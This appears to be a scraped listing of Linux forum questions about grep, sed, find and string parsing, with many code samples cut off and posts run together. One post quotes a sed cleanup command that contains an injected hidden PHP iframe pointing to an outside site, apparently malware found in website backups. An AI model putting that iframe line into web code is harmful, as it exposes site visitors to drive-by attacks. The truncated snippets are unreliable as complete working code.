if I'd a file like this
something
somethine123
begin something end
begin xyz end
somethingelse
and I want to find the strings only between begin and end, exluding begin and end; How can I grep that?
I have used diff command in past.I faced a situation to which I did not had a cluehere are some text strings (which can be stored in a file)Quote:
CONFIG_XEN=y
CONFIG_XEN_PVHVM=y
CONFIG_XEN_MAX_DOMAIN_MEMORY=128
[code]...
I am trying a search for a pattern in the file. I can have any character in the pattern. I am pretty sure I will have $, ", ', ^, ` etc., The Problem I am facing is if I use "" (double quotes) to enclose the pattern, it gives special meaning to $, ^ and " within the string. I have no control over the pattern input. I am getting it from some other file. On the other hand, If I use '' (single quotes) to enclose the pattern, it gives special meaning to the ' (apostrophe) within the string and terminates the pattern prematurely. How do I disable the special meaning these characters have? For example, in perl, I could enclose the pattern within Q and E. Is there an equivalent in grep pattern expression? I could find one in the man page of grep. Is there a solution to this problem?
View 5 Replies View RelatedI've got a quick grep question. I'm trying to work out a command I can use to locate all of the files in a directory that have sql database connection details. I want to do it by looking for the strings "localhost" and the name of the database.find . -type f -exec grep -l -E '^(localhost|DATABASE_NAME)' {} ;
View 4 Replies View RelatedI want to write some code to search for a specific string in a text file, but without using grep command.
View 5 Replies View RelatedI have inherited a wordpress theme with a folder of images that I think are no longer being used. I wanted to find the orphaned images using grep, so I wrote this script:
Code:
#!/bin/bash
echo $PWD
for i in *.*; do
cd ..
[Code].....
Its seems like I got some false positives out of it, but it worked pretty ok. I guess. :| Of course, it is not checking for images in the content of the database.
Orphan finding has to be a wheel that is already invented.
I'm trying to find exact matches of some users in the /etc/passwd file using "grep -w", but it doesn't always work. For example, I have the following users:[URl].. So, let's say, I want to search for the user "stewart" (which doesn't exist)
[Code]...
Getting the list of files in the root directory that have changed less than 10 hours earlier, using grep, but without the directories.
View 1 Replies View RelatedI'm trying to math all class references in a C++ file using grep with regular expression. I'm trying to know if a specific include is usuless or not, so I have to know if there is a refence in cpp. I wrote this RE that searches for a reference from class ABCZ, but unfortunately it isn't working as I espected:
grep -E '^[^(/*)(//)].*[^a-zA-Z]ABCZ[]*[*(<:;,{& ]'
^[^(/*)(//)] don't math comments in the begging of the line ( // or /* )
.* followed by any character
[code]....
Well, I can get patterns like this:
class Test: public ABCZ{
class Test: public ABCZ {
class Test : public ABCZ<T>
[code]....
I need to kind of grep within grep. My input file would be something like:
[Code]....
and I need to find the first occurrence of hello before MY PATTERN (hello 9008 in this case), so the output should be:
[Code]....
Made the following bash script named trimsquote:
Code:
#!/bin/bash
IFS=$'
[code]...
I am trying to do a find/grep/wc command to find matching files, print the filename and then the word count of a specific pattern per file. Here is my best (non-working) attempt so far:
wc `find . ( -name "*.as" -o -name "*.mxml" ) -exec grep -H HeightResizableList {}` ;
i'm trying all the time to use this (find,sed gnu,..etc) scrip to find and remove this string in all files *.php in wwwbackup/ directory. the script work without any error, but doesn't remove any thing!?
find /home/usr/wwwbackups/ -type f -name *.php -print0| xargs -0 sed 's#echo "<iframe src="http://internetcountercheck.com/?click=2255046" width=1 height=1 style="visibility:hidden;position:absolute"></iframe>";##g' -i
how can i become this script working?
I would like to find all the files that contains the strings I'm searching.
For example (it's just an example), I would like to search all the files in "/etc" that contains "eth0" and "us", whatever where are located those 2 strings, the important is that the 2 strings are in the files listed.
It would be something like a "grep -lr 'eth0' *" and "grep -lr 'us' *" but in one time/command, so that I don't have to make a comparison of the 2 list of files resulting from the 2 "grep" commands given higher.
I'm trying to write a bash script to find all lines containing two different strings in many files. I don't have access to egrep so I want to use sed for this purpose.
The files will look like this:
FileX
------
Info:18
Data:76
Contact:me@home.com
Start:1500
I want to generate a new file from these files with only the rows containing Data and Start. Something like this:
for y in `ls /file*.db`;
do sed '/Data|Start/p' $y > newfile
done
I want to search and replace strings in a file with strings in other files/i need to do it with big strings(string1 is big) and i want to use a txt file for this.But this code not working :
View 14 Replies View RelatedI am having a lot of problems trying to change one string by another using sed: the sentence is like this:
sed -i 's/KERNEL=="tty[A-Z]*", NAME="%k", GROUP="uucp", MODE="0660"/KERNEL=="tty[A-Z]*", NAME="%k", GROUP="uucp", MODE="0666"/g' 50-udev.rules
it is just to fing the line with:
KERNEL=="tty[A-Z]*", NAME="%k", GROUP="uucp", MODE="0660"
[code]....
I wrote this small program that will truncate a string that's entered in by the user.An example of its usage:if the user enters in a string say "abcdefghijklmnopqrstuvwxyz" the program will only take the first 9 characters and truncate the rest so that the user can be prompted for a second string and not be worried about remaining characters left in the stream.Now this program works O.K. but I would like to find something in C that has this functionality build into it...Does anyone know of any function that will accomplish this.
View 1 Replies View RelatedI am trying to replace a section of a file between the first instances of the strings {}, with the contents of another file. Example of the format of the file I'm trying to modify
Code:
Servername=something.com
hosts {
macaddress1
macaddress2
[code].....
Then captured all the "macaddress#"s to a variable and used sed to swap
sed "s/$CURRENTDATA/$NEWDATA/" filename
However I get 1 of 2 errors,
Using a small number of macs in "$NEWDATA"
sed: command garbled: s/ macaddresshere
Or when using a large number of macs in the $NEWDATA variable get
bash: /usr/bin/sed: Arg list too long.
how to replace a large block of txt in one file with another large block from another?
I use udhcp with some of my minimal installs. I've messed around with the code a bit when it wasn't working correctly - a few years ago. I will find time - I hope soonish - to figure out how to do a few other things with it.
For now though, I'm using this string to grab my ip after startup
Code: Select allsu -c 'ifconfig eth0&&ifdown -a&&ifup lo&&ifup eth0'&&/sbin/ifconfig eth0
I realize I could substitute ifup -a but I'm more interested in figuring out how to make ifup wait for the ip to become available if it is not available yet.
Never mind that one, just typing out the question answered it for me, when I find it in the scripting man ' ; : " & =
Or if there are any other suggestions for better construction of the string.
I have a PHP script written that is checking a string to see if it contains a link in it (i.e. a URL). I have the following if statement, that uses 3 possible regular expressions to determine if there is a link or not.
Code:
// check if we found a link
// links are denoted by strings that:
// - contain http://
// - contain www.*.*
[Code]....
I'm not convinced yet that writing a shell script to do this is the best course of action. If someone is capable of doing this with a Perl or a Python script that's fine too. If you want to make it super high performance and write it in assembly
what is the best command to use to parse strings?I have a variable $str and need to parse this string.Can you provide an example of the command used to get a substring of $str based on the index values of start and end
View 3 Replies View Relatedi have an sql table with 2 columns i run a script that randomly selects a word from the table in column 1.
the word is displayed on the screen and I guess what it means i concatenate the randomly selected word and the answer the script looks for a match in mysql if it finds a match it says "Good job!" if there is no match it will say "not correct". However when i get it right it says not correct even though when i echo the variables they look exactly the same. the script below:
#!/bin/bash
var=$(mysql translator -u root --password=*-N<<EOF
SELECT word FROM tagalog ORDER BY RAND() LIMIT 1
EOF
)
[Code]....
Using the regex.h functions, how do you:
1) get the matched strings?
2) get the strings that matched sub-expressions?
it is about 'strings' binary from binutils. I recently wanted to test what it does and how it works. The best I did was this:
Code:
#!/bin/sh
PROGRAM="
int main()
{
[code]....
Ok, from the output I don't get it.Can someone show me in a simple script, what is 'strings' good for ?
I have a set of numbers under some headers in a file:
FNUM,BNUM,C1N,C2N,C3N,C1S,C2S,C3S,
4535, 109, 5.5955, 5.6523, 5.8084, 311.419, 295.2540, 286.9984,
4536, 109, 5.7667, 5.7174, 5.6771, 291.782, 285.0646, 271.5945,
[code]...
I have a function that retrives text between title and links tags from an XML file, but what i want is to test if the title and link tags are between item tags. This is my code:
Code:
istringstream iss(content);
string line;
[code]...
I need to make a daemon which listens to port 81 for messages like [URL] So far I made a daemon which serves as a simple stream server: I set up a socket to listen to a non-reserved port (like 9999), but I don't know how to read the query strings.
Linux distro: Kubuntu 9.04
Language: C
I have an interpteter that supports string literals, and the way it works is that the lexer returns the entire string as a single token, with the quotes removed and escape sequences replaced with the literal characters they represent.
I already implemented single-quote strings, they don't interpret any characters specially except for the single quote. I partially implemented double-quoted strings, they already support all the same backslash escape sequences that C does. But I would also want to add variable substitution.
The way it would work is that "${expression}" would interpret the expression (which could just be a variable name) and replace itself with the result. But I have no idea how to do this.
In case it matters, I'm using a hand-written lexer and recursive-descent parser.
I have that script that checks the nfs mount points:
Code:
#!/bin/ksh
#set -xv
test="DO_NOT_DELETE"
rc=0
[Code]....
I am no expert in loops and it took me all day to write that. I couldn't really tell how to match the string in $df_file and $fs_share, so I did a little workaround with a count.
